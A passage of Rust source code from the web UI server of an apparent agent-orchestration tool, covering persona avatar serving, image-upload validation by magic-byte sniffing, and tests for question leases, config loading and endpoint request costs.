8258 .as_deref()
8259 .map(str::trim)
8260 .filter(|p| !p.is_empty())
8261 .unwrap_or(&talk.persona)
8262 .to_owned();
8263 let specs = match Config::discover(&talk.repo, None) {
8264 Ok((cfg, _)) => cfg.talk.personas,
8265 Err(e) => {
8266 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8267 Vec::new()
8268 }
8269 };
8270 let Some(found) = persona::find(&specs, &wanted) else {
8271 return Ok(builtin_avatar(persona::DEFAULT_ID));
8272 };
8273 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8274 return Ok(builtin_avatar(&found.id));
8275 };
8276 match persona_icon::load(icon) {
8277 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8278 let mut res = attachment_response(mime, bytes);
8279 res.headers_mut().insert(
8280 header::CACHE_CONTROL,
8281 header::HeaderValue::from_static("no-cache"),
8282 );
8283 Ok(res)
8284 }
8285 Ok((mime, _)) => {
8286 tracing::warn!(
8287 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8288 found.id
8289 );
8290 Ok(builtin_avatar(&found.id))
8291 }
8292 Err(e) => {
8293 tracing::warn!(
8294 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8295 found.id
8296 );
8297 Ok(builtin_avatar(&found.id))
8298 }
8299 }
8300 })
8301 .await
8302}
8303
8304fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8315 if data.len() > ATTACHMENT_MAX_BYTES {
8316 return Err(ApiError::bad_request(format!(
8317 "attachment is {} bytes, over the {} MiB limit",
8318 data.len(),
8319 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8320 ))
8321 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8322 }
8323 if data.is_empty() {
8324 return Err(ApiError::bad_request("attachment is empty"));
8325 }
8326 let declared = declared_mime(headers)?;
8327 match sniffed_mime(data) {
8328 Some(sniffed) if sniffed == declared => Ok(declared),
8329 Some(sniffed) => Err(ApiError::bad_request(format!(
8330 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8331 ))),
8332 None => Err(ApiError::bad_request(
8333 "the file's bytes do not match any accepted image format",
8334 )),
8335 }
8336}
8337
8338fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8342 let raw = headers
8343 .get(header::CONTENT_TYPE)
8344 .and_then(|v| v.to_str().ok())
8345 .unwrap_or("")
8346 .split(';')
8347 .next()
8348 .unwrap_or("")
8349 .trim()
8350 .to_ascii_lowercase();
8351 ATTACHMENT_MIME_WHITELIST
8352 .iter()
8353 .find(|&&m| m == raw)
8354 .copied()
8355 .ok_or_else(|| {
8356 if raw == "image/svg+xml" {
8357 ApiError::bad_request(
8358 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8359 not just a picture",
8360 )
8361 } else if raw.is_empty() {
8362 ApiError::bad_request("Content-Type is required for an attachment upload")
8363 } else {
8364 ApiError::bad_request(format!(
8365 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8366 image/gif or image/webp"
8367 ))
8368 }
8369 })
8370}
8371
8372fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8375 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8376 Some("image/png")
8377 } else if data.starts_with(b"\xff\xd8\xff") {
8378 Some("image/jpeg")
8379 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8380 Some("image/gif")
8381 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8382 Some("image/webp")
8383 } else {
8384 None
8385 }
8386}
8387
8388fn filename_header(headers: &HeaderMap) -> String {
8394 headers
8395 .get(FILENAME_HEADER)
8396 .and_then(|v| v.to_str().ok())
8397 .map(str::trim)
8398 .filter(|s| !s.is_empty())
8399 .unwrap_or("attachment")
8400 .to_owned()
8401}
8402
8403fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8410 let content_type = ATTACHMENT_MIME_WHITELIST
8411 .iter()
8412 .find(|&&m| m == mime)
8413 .copied()
8414 .unwrap_or("application/octet-stream");
8415 (
8416 [
8417 (header::CONTENT_TYPE, content_type),
8418 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8419 ],
8420 body,
8421 )
8422 .into_response()
8423}
8424
8425async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8433 let repo = repo.to_path_buf();
8434 blocking(move || {
8435 let (cfg, _) = Config::discover(&repo, None)?;
8436 Ok(cfg)
8437 })
8438 .await
8439}
8440
8441fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8447 let mut hits = ids
8448 .into_iter()
8449 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8450 match (hits.next(), hits.next()) {
8451 (Some(one), None) => Ok(one),
8452 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8453 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8454 "`{prefix}` matches more than one {what}, including {a} and {b}"
8455 ))),
8456 }
8457}
8458
8459#[cfg(test)]
8460mod tests {
8461
8462 #[test]
8463 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8464 let dir = tempfile::tempdir().unwrap();
8465 let store = ask::Questions::at(dir.path().join("questions"));
8466 let mut q = Question::new(
8467 "task".to_owned(),
8468 "conduct".to_owned(),
8469 "conduct".to_owned(),
8470 "choose".to_owned(),
8471 String::new(),
8472 vec!["keep".to_owned()],
8473 );
8474 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8475 q.say("why?").unwrap();
8476 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8477 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8478 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8479 store.put(&mut q).unwrap();
8480 assert!(QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8481 assert_eq!(store.count_needs_owner(), 1);
8482 store.beat(&q.id, ask::WaiterKind::Deputy);
8483 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8484 assert_eq!(store.count_needs_owner(), 0);
8485 let mut stale = store.read_lease(&q.id).unwrap();
8486 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8487 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8488 let view = QuestionView::of(q.clone(), &store, true);
8489 assert!(view.deputy_exhausted);
8490 assert!(view.waiting_on_agent);
8491 assert_eq!(view.question.choices, ["keep"]);
8492 store.drop_lease(&q.id);
8493 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8494 assert!(!QuestionView::of(q, &store, true).deputy_exhausted);
8495 }
8496
8497 #[test]
8498 fn holder_reads_the_lease_not_the_record() {
8499 let mut q = Question::new(
8500 "run".to_owned(),
8501 "implement".to_owned(),
8502 "impl-A".to_owned(),
8503 "which?".to_owned(),
8504 String::new(),
8505 Vec::new(),
8506 );
8507 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8508 q.cwd = Some("/tmp".to_owned());
8509 assert_eq!(holder_of(&q, None), Some("nobody"));
8510 let beat = |kind, ago: i64| ask::Lease {
8511 kind,
8512 pid: 1,
8513 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8514 .unwrap(),
8515 };
8516 let fresh = beat(ask::WaiterKind::Asker, 1);
8517 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8518 let daemon = beat(ask::WaiterKind::Daemon, 1);
8519 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8520 let stale = beat(ask::WaiterKind::Asker, 3600);
8521 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8522
8523 let mut c = Question::new(
8526 "task".to_owned(),
8527 crate::conduct::NODE.to_owned(),
8528 "conduct".to_owned(),
8529 "which?".to_owned(),
8530 String::new(),
8531 Vec::new(),
8532 );
8533 assert_eq!(holder_of(&c, None), Some("nobody"));
8534 c.cwd = Some("/tmp".to_owned());
8535 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8536 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8537 let deputy = beat(ask::WaiterKind::Deputy, 1);
8538 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8539 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8540
8541 let mut r = Question::new(
8543 String::new(),
8544 crate::bump::NOTICE_NODE.to_owned(),
8545 "release-watch".to_owned(),
8546 "stuck?".to_owned(),
8547 String::new(),
8548 vec!["hold".to_owned()],
8549 );
8550 assert_eq!(holder_of(&r, None), Some("nobody"));
8551 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8552 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8553 r.deputy = None;
8555 r.seat = "bump".to_owned();
8556 assert_eq!(holder_of(&r, None), None);
8557
8558 let mut m = Question::new(
8561 "run".to_owned(),
8562 crate::land::APPROVAL_NODE.to_owned(),
8563 "land".to_owned(),
8564 "merge?".to_owned(),
8565 String::new(),
8566 Vec::new(),
8567 );
8568 assert_eq!(holder_of(&m, None), Some("nobody"));
8569 assert_eq!(
8570 holder_of(&m, Some(&fresh)),
8571 Some("nobody"),
8572 "a lease with no deputy is not a listener"
8573 );
8574 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8575 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8576 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8577 assert_eq!(holder_of(&m, None), Some("nobody"));
8578 }
8579
8580 fn stub_config() -> Config {
8581 Config {
8584 agents: vec![crate::config::AgentSpec {
8585 id: "stub".to_owned(),
8586 kind: AgentKind::Command,
8587 model: None,
8588 command: vec!["true".to_owned()],
8589 extra_args: Vec::new(),
8590 env: Default::default(),
8591 prompt_delivery: None,
8592 }],
8593 ..Config::default()
8594 }
8595 }
8596
8597 fn plain_question(seat: &str) -> Question {
8598 Question::new(
8599 String::new(),
8600 "n".to_owned(),
8601 seat.to_owned(),
8602 "s".to_owned(),
8603 String::new(),
8604 Vec::new(),
8605 )
8606 }
8607
8608 #[test]
8609 fn deputies_enabled_follows_the_config() {
8610 let on = stub_config();
8611 assert!(crate::deputy::can_start(Some(&on), ""));
8612 assert!(crate::deputy::can_start(Some(&on), "stub"));
8613 let mut off = on.clone();
8614 off.daemon.max_deputies = 0;
8615 assert!(!crate::deputy::can_start(Some(&off), ""));
8616 let mut empty = on;
8617 empty.agents.clear();
8618 assert!(!crate::deputy::can_start(Some(&empty), ""));
8619 assert!(!crate::deputy::can_start(None, ""));
8620 }
8621
8622 #[test]
8623 fn question_views_load_the_config_once() {
8624 let dir = TempDir::new().unwrap();
8625 let store = ask::Questions::at(dir.path().to_path_buf());
8626 let mut with_deputy = plain_question("b");
8627 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8628 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8629
8630 let calls = std::cell::Cell::new(0usize);
8631 let views = question_views(qs.clone(), &store, || {
8632 calls.set(calls.get() + 1);
8633 Some(stub_config())
8634 });
8635 assert_eq!(calls.get(), 1);
8636 assert_eq!(views.len(), 3);
8637 for (v, q) in views.iter().zip(&qs) {
8638 assert_eq!(
8639 v.deputies_enabled,
8640 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8641 );
8642 }
8643
8644 let views = question_views(qs, &store, || None);
8645 assert!(views.iter().all(|v| !v.deputies_enabled));
8646
8647 let calls = std::cell::Cell::new(0usize);
8648 let views = question_views(Vec::new(), &store, || {
8649 calls.set(calls.get() + 1);
8650 None
8651 });
8652 assert!(views.is_empty());
8653 assert_eq!(calls.get(), 0);
8654 }
8655
8656 use pretty_assertions::assert_eq;
8657 use serde_json::Value;
8658 use tempfile::TempDir;
8659 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8660
8661 use super::*;
8662 use crate::config::Config;
8663 use crate::queue::Source;
8664
8665 const SETTLE_STEPS: usize = 3_000;
8676
8677 struct Fixture {
8683 home: TempDir,
8684 addr: SocketAddr,
8685 }
8686
8687 impl Fixture {
8688 async fn start() -> Self {
8689 Self::with_loop(launch_idle).await
8690 }
8691
8692 async fn with_loop(launch: Launch) -> Self {
8694 let home = TempDir::new().expect("temp home");
8695 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8696 Self { home, addr }
8697 }
8698
8699 async fn with_repo(repo: PathBuf) -> Self {
8703 let home = TempDir::new().expect("temp home");
8704 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8705 Self { home, addr }
8706 }
8707
8708 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8711 let home = TempDir::new().expect("temp home");
8712 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8713 Self { home, addr }
8714 }
8715
8716 async fn serve(
8717 home: &FsPath,
8718 repo: PathBuf,
8719 launch: Launch,
8720 machine: Option<PathBuf>,
8721 ) -> SocketAddr {
8722 let queue = Queue::at(home.join("queue"));
8723 let runs = home.join("runs");
8724 std::fs::create_dir_all(&runs).expect("runs dir");
8725 let worktrees = home.join("wt").join("magi");
8726 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8727 let ui = Ui::new(
8728 queue,
8729 Questions::at(home.join("questions")),
8730 Talks::at(home.join("talks")),
8731 runs,
8732 home.to_path_buf(),
8733 repo,
8734 )
8735 .with_worktrees_root(worktrees)
8736 .with_machine_config(machine)
8737 .with_launch(launch);
8738 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8739 .await
8740 .expect("bind loopback");
8741 let addr = listener.local_addr().expect("local addr");
8742 tokio::spawn(async move {
8743 let router = ui
8744 .router()
8745 .layer(axum::middleware::from_fn(request_cost::observe));
8746 let _ = axum::serve(listener, router).await;
8747 });
8748 addr
8749 }
8750
8751 fn queue(&self) -> Queue {
8752 Queue::at(self.home.path().join("queue"))
8753 }
8754
8755 fn questions(&self) -> Questions {
8756 Questions::at(self.home.path().join("questions"))
8757 }
8758
8759 fn talks(&self) -> Talks {
8760 Talks::at(self.home.path().join("talks"))
8761 }
8762
8763 fn runs(&self) -> PathBuf {
8764 self.home.path().join("runs")
8765 }
8766
8767 async fn get(&self, path: &str) -> Res {
8768 request(self.addr, "GET", path, None).await
8769 }
8770
8771 async fn head(&self, path: &str) -> Res {
8776 request(self.addr, "HEAD", path, None).await
8777 }
8778
8779 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8780 request(self.addr, "POST", path, body).await
8781 }
8782
8783 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8784 request_with(self.addr, "GET", path, None, extra).await
8785 }
8786
8787 async fn delete(&self, path: &str) -> Res {
8788 request(self.addr, "DELETE", path, None).await
8789 }
8790
8791 async fn put(&self, path: &str, body: &str) -> Res {
8792 request(self.addr, "PUT", path, Some(body)).await
8793 }
8794
8795 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8797 request_bytes(self.addr, path, headers, body).await
8798 }
8799 }
8800
8801 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8804 let tmp = TempDir::new().unwrap();
8805 let mut repos = Vec::new();
8806 for name in ["one", "two"] {
8807 let repo = tmp.path().join(name);
8808 let origin = tmp.path().join(format!("{name}.git"));
8809 std::fs::create_dir_all(&repo).unwrap();
8810 crate::git::git(&repo, &["init", "-b", "main"])
8811 .await
8812 .unwrap();
8813 std::fs::write(
8814 repo.join("magi.toml"),
8815 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8816 )
8817 .unwrap();
8818 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8819 crate::git::git(
8820 &repo,
8821 &[
8822 "-c",
8823 "user.name=fixture",
8824 "-c",
8825 "user.email=fixture@example.invalid",
8826 "commit",
8827 "-m",
8828 "fixture",
8829 ],
8830 )
8831 .await
8832 .unwrap();
8833 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8834 .await
8835 .unwrap();
8836 crate::git::git(
8837 &repo,
8838 &["remote", "add", "origin", origin.to_str().unwrap()],
8839 )
8840 .await
8841 .unwrap();
8842 crate::git::git(&repo, &["push", "origin", "main"])
8843 .await
8844 .unwrap();
8845 crate::git::git(
8846 &repo,
8847 &[
8848 "symbolic-ref",
8849 "refs/remotes/origin/HEAD",
8850 "refs/remotes/origin/main",
8851 ],
8852 )
8853 .await
8854 .unwrap();
8855 let (cfg, _) = Config::discover(&repo, None).unwrap();
8856 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8857 repos.push(repo);
8858 }
8859 let repos: [PathBuf; 2] = repos.try_into().unwrap();
8860 (tmp, repos)
8861 }
8862
8863 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8864 let (tmp, repos) = performance_repositories().await;
8865 let machine = tmp.path().join("machine.toml");
8866 std::fs::write(&machine, "").unwrap();
8867 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8868 (tmp, repos, fx)
8869 }
8870
8871 fn seed_performance(
8872 fx: &Fixture,
8873 repos: &[PathBuf; 2],
8874 questions: usize,
8875 runs: usize,
8876 items: usize,
8877 ) {
8878 for i in fx.questions().list().len()..questions {
8880 let mut question = Question::new(
8881 "20261001-000000-0000".into(),
8882 "implement".into(),
8883 "impl-A".into(),
8884 format!("question {i}"),
8885 "context".into(),
8886 vec!["yes".into(), "no".into()],
8887 );
8888 question.id = format!("20261003-000000-{i:04x}");
8889 fx.questions().put(&mut question).unwrap();
8890 }
8891 for i in run_ids(&fx.runs()).len()..runs {
8892 write_run_repo(
8893 &fx.runs(),
8894 &format!("20261001-000000-{i:04x}"),
8895 RunStatus::Ready,
8896 repos[i % 2].to_str().unwrap(),
8897 );
8898 }
8899 for i in fx.talks().list().len()..items {
8900 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8901 let mut talk = fx.talks().get(&id).unwrap();
8902 talk.repo = repos[i % 2].clone();
8903 fx.talks().put(&mut talk).unwrap();
8904 let mut task = crate::queue::Task::new(
8905 format!("task {i}"),
8906 "instruction".into(),
8907 repos[i % 2].clone(),
8908 crate::queue::Source::Agent {
8909 run: id,
8910 node: crate::queue::CHAT_NODE.into(),
8911 },
8912 );
8913 task.id = format!("20261004-000000-{i:04x}");
8914 fx.queue().put(&mut task).unwrap();
8915 if i < crate::notices::CAP {
8917 Notices::at(fx.home.path().join("notifications"))
8918 .raise(Notice::info(&format!("notice-{i}"), "notification"))
8919 .unwrap();
8920 }
8921 }
8922 assert_eq!(fx.questions().list().len(), questions);
8923 assert_eq!(run_ids(&fx.runs()).len(), runs);
8924 assert_eq!(fx.talks().list().len(), items);
8925 assert_eq!(fx.queue().list().len(), items);
8926 assert_eq!(
8927 Notices::at(fx.home.path().join("notifications"))
8928 .list()
8929 .len(),
8930 items.min(crate::notices::CAP)
8931 );
8932 }
8933
8934 fn request_counts(res: &Res) -> (usize, usize) {
8935 assert_eq!(res.status, 200, "{}", res.body);
8936 (
8937 res.header("x-test-discoveries").unwrap().parse().unwrap(),
8938 res.header("x-test-git").unwrap().parse().unwrap(),
8939 )
8940 }
8941
8942 #[tokio::test]
8943 async fn list_request_cost_is_independent_of_record_count() {
8944 let (_tmp, repos, fx) = performance_fixture().await;
8945 let mut previous = None;
8946 for n in [4, 60] {
8947 seed_performance(&fx, &repos, n, n, n);
8948 let mut costs = Vec::new();
8949 for (path, discoveries) in [
8950 ("/api/questions", 1),
8951 ("/api/talks", 2),
8952 ("/api/health", 1),
8953 ("/api/stats", 1),
8954 ] {
8955 for repo in &repos {
8958 let cache = repo.join(".git/magi/config");
8959 if cache.exists() {
8960 std::fs::remove_dir_all(cache).unwrap();
8961 }
8962 }
8963 let cost = request_counts(&fx.get(path).await);
8964 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8965 assert_eq!(cost.0, discoveries, "{path}, N={n}");
8966 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8967 costs.push(cost);
8968 }
8969 if let Some(previous) = previous {
8970 assert_eq!(costs, previous);
8971 }
8972 previous = Some(costs);
8973 }
8974 }
8978
8979 #[tokio::test]
8982 async fn list_handler_cost_without_transport() {
8983 let (_tmp, repos) = performance_repositories().await;
8984 let fx = Fixture {
8985 home: TempDir::new().unwrap(),
8986 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8987 };
8988 let ui = Arc::new(
8989 Ui::new(
8990 fx.queue(),
8991 fx.questions(),
8992 fx.talks(),
8993 fx.runs(),
8994 fx.home.path().to_path_buf(),
8995 repos[0].clone(),
8996 )
8997 .with_worktrees_root(fx.home.path().join("wt")),
8998 );
8999 let mut previous = None;
9000 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9001 seed_performance(&fx, &repos, n, runs, items);
9002 let mut costs = Vec::new();
9003 for endpoint in ["questions", "talks", "health", "stats"] {
9004 for repo in &repos {
9005 let cache = repo.join(".git/magi/config");
9006 if cache.exists() {
9007 std::fs::remove_dir_all(cache).unwrap();
9008 }
9009 }
9010 let (_, cost) = request_cost::measure(async {
9011 match endpoint {
9012 "questions" => {
9013 let _ = questions_list(State(ui.clone())).await.unwrap();
9014 }
9015 "talks" => {
9016 let _ = talks_list(
9017 State(ui.clone()),
9018 Query(ListQuery {
9019 limit: None,
9020 ids: None,
9021 }),
9022 )
9023 .await
9024 .unwrap();
9025 }
9026 "health" => {
9027 let _ = health(State(ui.clone())).await.unwrap();
9028 }
9029 _ => {
9030 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9031 .await
9032 .unwrap();
9033 }
9034 }
9035 })
9036 .await;
9037 eprintln!("{endpoint} handler N={n}: {cost:?}");
9038 assert_eq!(
9039 cost.0,
9040 if endpoint == "talks" { 2 } else { 1 },
9041 "{endpoint}"
9042 );
9043 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9044 costs.push(cost);
9045 }
9046 if let Some(previous) = previous {
9047 assert_eq!(costs, previous);
9048 }
9049 previous = Some(costs);
9050 }
9051 }
9052
9053 #[tokio::test]
9054 async fn list_request_cost_scopes_do_not_mix() {
9055 let (_tmp, repos, fx) = performance_fixture().await;
9056 seed_performance(&fx, &repos, 10, 0, 10);
9057 let (questions, talks, notices) = tokio::join!(
9058 fx.get("/api/questions"),
9059 fx.get("/api/talks"),
9060 fx.get("/api/notifications")
9061 );
9062 assert_eq!(request_counts(&questions).0, 1);
9063 assert_eq!(request_counts(&talks).0, 2);
9064 assert_eq!(request_counts(¬ices), (0, 0));
9065 }
9066
9067 #[tokio::test]
9068 async fn list_endpoints_large_home_ceiling() {
9069 let (_tmp, repos, fx) = performance_fixture().await;
9070 seed_performance(&fx, &repos, 200, 300, 400);
9071 let mut failures = Vec::new();
9072 for path in [
9075 "/",
9076 "/app.js",
9077 "/app.css",
9078 "/api/questions",
9079 "/api/runs?limit=300",
9080 "/api/queue",
9081 "/api/talks",
9082 "/api/notifications",
9083 "/api/health",
9084 "/api/stats",
9085 "/api/loop",
9086 "/api/settings",
9087 "/api/repos",
9088 ] {
9089 let start = std::time::Instant::now();
9090 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9091 let elapsed = start.elapsed();
9092 eprintln!("{path}: {elapsed:?}");
9093 match result {
9094 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9095 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9096 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9097 }
9098 }
9099 assert!(failures.is_empty(), "{}", failures.join("\n"));
9100 }
9101
9102 struct Res {
9103 status: u16,
9104 headers: String,
9105 head: String,
9110 body: String,
9111 bytes: Vec<u8>,
9115 }
9116
9117 impl Res {
9118 fn json(&self) -> Value {
9119 serde_json::from_str(&self.body)
9120 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9121 }
9122
9123 fn header(&self, name: &str) -> Option<&str> {
9125 self.head.lines().find_map(|line| {
9126 let (key, value) = line.split_once(':')?;
9127 key.trim()
9128 .eq_ignore_ascii_case(name)
9129 .then(|| value.trim_start().trim_end_matches('\r'))
9130 })
9131 }
9132 }
9133
9134 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9137 request_with(addr, method, path, body, &[]).await
9138 }
9139
9140 async fn request_with(
9144 addr: SocketAddr,
9145 method: &str,
9146 path: &str,
9147 body: Option<&str>,
9148 extra: &[(&str, &str)],
9149 ) -> Res {
9150 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9151 for (name, value) in extra {
9152 head.push_str(&format!("{name}: {value}\r\n"));
9153 }
9154 if let Some(body) = body {
9155 head.push_str("Content-Type: application/json\r\n");
9156 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9157 }
9158 head.push_str("\r\n");
9159 if let Some(body) = body {
9160 head.push_str(body);
9161 }
9162 let mut socket = tokio::net::TcpStream::connect(addr)
9163 .await
9164 .expect("connect to the test server");
9165 socket
9166 .write_all(head.as_bytes())
9167 .await
9168 .expect("write request");
9169 let mut raw = Vec::new();
9170 socket.read_to_end(&mut raw).await.expect("read response");
9171 let split = raw
9174 .windows(4)
9175 .position(|w| w == b"\r\n\r\n")
9176 .expect("a header block");
9177 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9178 let bytes = raw[split + 4..].to_vec();
9179 let status = head
9180 .lines()
9181 .next()
9182 .and_then(|line| line.split_whitespace().nth(1))
9183 .and_then(|code| code.parse().ok())
9184 .expect("a status line");
9185 Res {
9186 status,
9187 headers: head.to_lowercase(),
9188 head,
9189 body: String::from_utf8_lossy(&bytes).into_owned(),
9190 bytes,
9191 }
9192 }
9193
9194 async fn request_bytes(
9200 addr: SocketAddr,
9201 path: &str,
9202 headers: &[(&str, &str)],
9203 body: &[u8],
9204 ) -> Res {
9205 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9206 for (name, value) in headers {
9207 head.push_str(&format!("{name}: {value}\r\n"));
9208 }
9209 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9210 let mut socket = tokio::net::TcpStream::connect(addr)
9211 .await
9212 .expect("connect to the test server");
9213 socket
9214 .write_all(head.as_bytes())
9215 .await
9216 .expect("write request head");
9217 socket.write_all(body).await.expect("write request body");
9218 let mut raw = Vec::new();
9219 socket.read_to_end(&mut raw).await.expect("read response");
9220 let split = raw
9221 .windows(4)
9222 .position(|w| w == b"\r\n\r\n")
9223 .expect("a header block");
9224 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9225 let bytes = raw[split + 4..].to_vec();
9226 let status = head
9227 .lines()
9228 .next()
9229 .and_then(|line| line.split_whitespace().nth(1))
9230 .and_then(|code| code.parse().ok())
9231 .expect("a status line");
9232 Res {
9233 status,
9234 headers: head.to_lowercase(),
9235 head,
9236 body: String::from_utf8_lossy(&bytes).into_owned(),
9237 bytes,
9238 }
9239 }
9240
9241 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9243 let mut state = RunState::new(
9244 PathBuf::from("/repo/magi"),
9245 "main".to_owned(),
9246 "0123456789abcdef".to_owned(),
9247 "Add a web UI\n\nMobile first.".to_owned(),
9248 Config::default(),
9249 );
9250 state.id = id.to_owned();
9251 state.status = status;
9252 let dir = runs.join(id);
9253 std::fs::create_dir_all(&dir).expect("run dir");
9254 std::fs::write(
9255 dir.join("run.json"),
9256 serde_json::to_string_pretty(&state).expect("serialize run"),
9257 )
9258 .expect("write run.json");
9259 }
9260
9261 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9265 let mut state = RunState::new(
9266 PathBuf::from(repo),
9267 "main".to_owned(),
9268 "0123456789abcdef".to_owned(),
9269 "task".to_owned(),
9270 Config::default(),
9271 );
9272 state.id = id.to_owned();
9273 state.status = status;
9274 let dir = runs.join(id);
9275 std::fs::create_dir_all(&dir).expect("run dir");
9276 std::fs::write(
9277 dir.join("run.json"),
9278 serde_json::to_string_pretty(&state).expect("serialize run"),
9279 )
9280 .expect("write run.json");
9281 }
9282
9283 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9284 let body = serde_json::json!({
9285 "schema": 1,
9286 "pid": 4242,
9287 "started_at": Timestamp::now().to_string(),
9288 "updated_at": updated_at.to_string(),
9289 "idle": false,
9290 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9291 "completed": 7,
9292 "polls": 143,
9293 });
9294 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9295 }
9296
9297 fn launch_idle(
9307 _opts: daemon::Opts,
9308 stop: daemon::Stop,
9309 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9310 Box::pin(async move {
9311 while !stop.stopped() {
9312 tokio::time::sleep(Duration::from_millis(2)).await;
9313 }
9314 Ok(())
9315 })
9316 }
9317
9318 fn launch_broken(
9321 _opts: daemon::Opts,
9322 _stop: daemon::Stop,
9323 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9324 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9329 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9330 Box::pin(async move {
9331 Err(anyhow::anyhow!(if first {
9332 "publish the daemon status file: read-only file system"
9333 } else {
9334 "the restarted stand-in failed as well"
9335 }))
9336 })
9337 }
9338
